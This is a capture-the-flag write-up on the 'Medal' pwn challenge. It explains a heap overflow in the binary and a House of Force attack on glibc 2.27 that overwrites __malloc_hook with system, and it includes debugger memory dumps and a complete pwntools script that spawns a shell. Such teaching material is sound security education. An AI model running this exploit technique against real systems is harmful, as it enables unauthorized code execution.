

PWN Medal

Everyone gets a medal!

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Initialization

When first looking into the Medal challenge, there are a few initial clues that can get you set on the right track. First and foremost is the hint toward heap abuse in the description which states “We wrote this binary to gather a heap of suggestions for our team motto.” Given that information, you can begin to think about the varying houses that might come up in this scenario. Coupling this with the libc version given with the challenge (2.27), you can narrow things down a bit, but nothing is quite conclusive yet.

Therefore, you can quickly dive into the binary using IDA or your favorite flavor of disassembler like Binary Ninja, Ghidra etc. Within the binary, you will find a “vuln” function which contains the following assembly converted to pseudocode for ease of reading:

```
void __fastcall vuln()
{
    int i; // [rsp+Ch] [rbp-94h]
    unsigned __int64 size; // [rsp+10h] [rbp-90h] BYREF
    void *heap; // [rsp+18h] [rbp-88h]
    char *p; // [rsp+20h] [rbp-80h]
    char *c; // [rsp+28h] [rbp-78h]
    char data[100]; // [rsp+30h] [rbp-70h] BYREF
    unsigned __int64 v6; // [rsp+98h] [rbp-8h]

    v6 = __readfsqword(0x28u);
    heap = sbrk(0LL);
    print_logo();
    for ( i = 0; i <= 3; ++i )
    {
        printf("Team size >>> ");
        __isoc99_scanf("%lu", &size);
        p = (char *)malloc(size);
        c = p;
        printf("Team motto >>> ");
        __isoc99_scanf("%100s", data);
        strcpy(c, data);
        heap = p;
        printf("<<< Thank you for your suggestion");
        printf("<<< Team data stored securely at : %p\n", heap);
        printf("<<< Random identifier for motto : %p\n", &rand);
    }
}
```

What’s interesting about this is that you can submit longer text to the motto than what you previously allocated for the size above this line, otherwise known as a buffer overflow. This means we can effectively overwrite anything following the allocated chunk provided the size is small. With some subsequent reading ([how2heap/glibc 2.27 at master · shellphish/how2heap \(github.com\)](https://github.com/shellphish/how2heap/blob/master/glibc_2.27/heap/overflow.c)), you will find the “House of Force.” This is a method by which one can overwrite the “wilderness” value (remaining

allocatable space in the heap), then allocate up to and in libc to overwrite malloc hook and call a function with a new malloc which subsequently calls the malloc hook we wrote.

```
gef>
0x1636200:      0x0000000000000000      0x0000000000000000
0x1636210:      0x0000000000000000      0x0000000000000000
0x1636220:      0x0000000000000000      0x0000000000000000
0x1636230:      0x0000000000000000      0x0000000000000000
0x1636240:      0x0000000000000000      0x0000000000000000
0x1636250:      0x0000000000000000      0x0000000000000021
0x1636260:      0x4141414141414141      0x4141414141414141
0x1636270:      0x4141414141414141      0x00000000000020d00
```

Figure 1: Pre-Overwriting the top chunk "wilderness" value

```
gef>
0x8df200:      0x0000000000000000      0x0000000000000000
0x8df210:      0x0000000000000000      0x0000000000000000
0x8df220:      0x0000000000000000      0x0000000000000000
0x8df230:      0x0000000000000000      0x0000000000000000
0x8df240:      0x0000000000000000      0x0000000000000000
0x8df250:      0x0000000000000000      0x0000000000000021
0x8df260:      0x4141414141414141      0x4141414141414141
0x8df270:      0x4141414141414141      0x00000000deadbeef
```

Figure 2: Post-Overwriting the top chunk "wilderness" value

In short, this would play out as follows:

- 1) Get heap and libc leaks
 - a. This program hands them out due to the sharing of the heap location as well as an error in programming (printing the address of the rand function rather than a random value).


```
printf("<<< Thank you for your suggestion");
printf("<<< Team data stored securely at : %p\n", heap);
printf("<<< Random identifier for motto : %p\n", &rand);
```
- 2) Overwrite "wilderness" value to cover all of the system memory space (-1 or 0xFFFFFFFFFFFFFFFF)
- 3) Allocate a chunk from the end of the first chunk allocated all the way up to __malloc_hook-[OFFSET]
- 4) Allocate a chunk and write function to __malloc_hook, keeping in mind and adjusting for the offset above.
- 5) Allocate a new chunk, passing the location "/bin/sh" as the size which will be passed to system

So... let's do it!

Code

```
from pwn import *

p = process("./chal")#,env={"LD_PRELOAD" : "./libc-2.27-2.so"})

#p = remote("0.cloud.chals.io",10679)
```

```
context.terminal = ['tmux', 'splitw', '-h']
```

```
def senddata(size,motto):
```

```
    p.sendlineafter(b"Team size >>>",str(size))
```

```
    p.sendlineafter(b"Team motto >>>",motto)
```

```
#Set Wilderness To Be Big
```

```
senddata(10,b'A'*23 + p64(0xffffffffffffff))
```

```
#Get Leaks
```

```
p.readuntil("at : 0x")
```

```
heap=int(p.readuntil("\n").strip(),base=16)
```

```
p.readuntil("o : 0x")
```

```
libc_leak=int(p.readuntil("\n").strip(),base=16)
```

```
#Interesting Locations
```

```
libc_base=libc_leak-0x44390
```

```
system=libc_base+0x4ee90
```

```
binsh=libc_base+0x1b3d88
```

```
print(hex(system))
```

```
malloc_hook=libc_base+0x3ebc30
```

```
#Bridge The Gap //He's Going The Distance
```

```
senddata(int(malloc_hook-heap-0x30),b'A')
```

```
#Overwrite Malloc Hook //He's Going For Speed
```

```
senddata(0x20,p64(system))
```

```
#gdb.attach(p)
```

```
#pause()
```

```
#Sploit //System is all alone in its time of need
```

```
#senddata(binsh,b'')
```

```
p.sendlineafter(b"Team size >>>",str(binsh).encode())
```

```
p.interactive()
```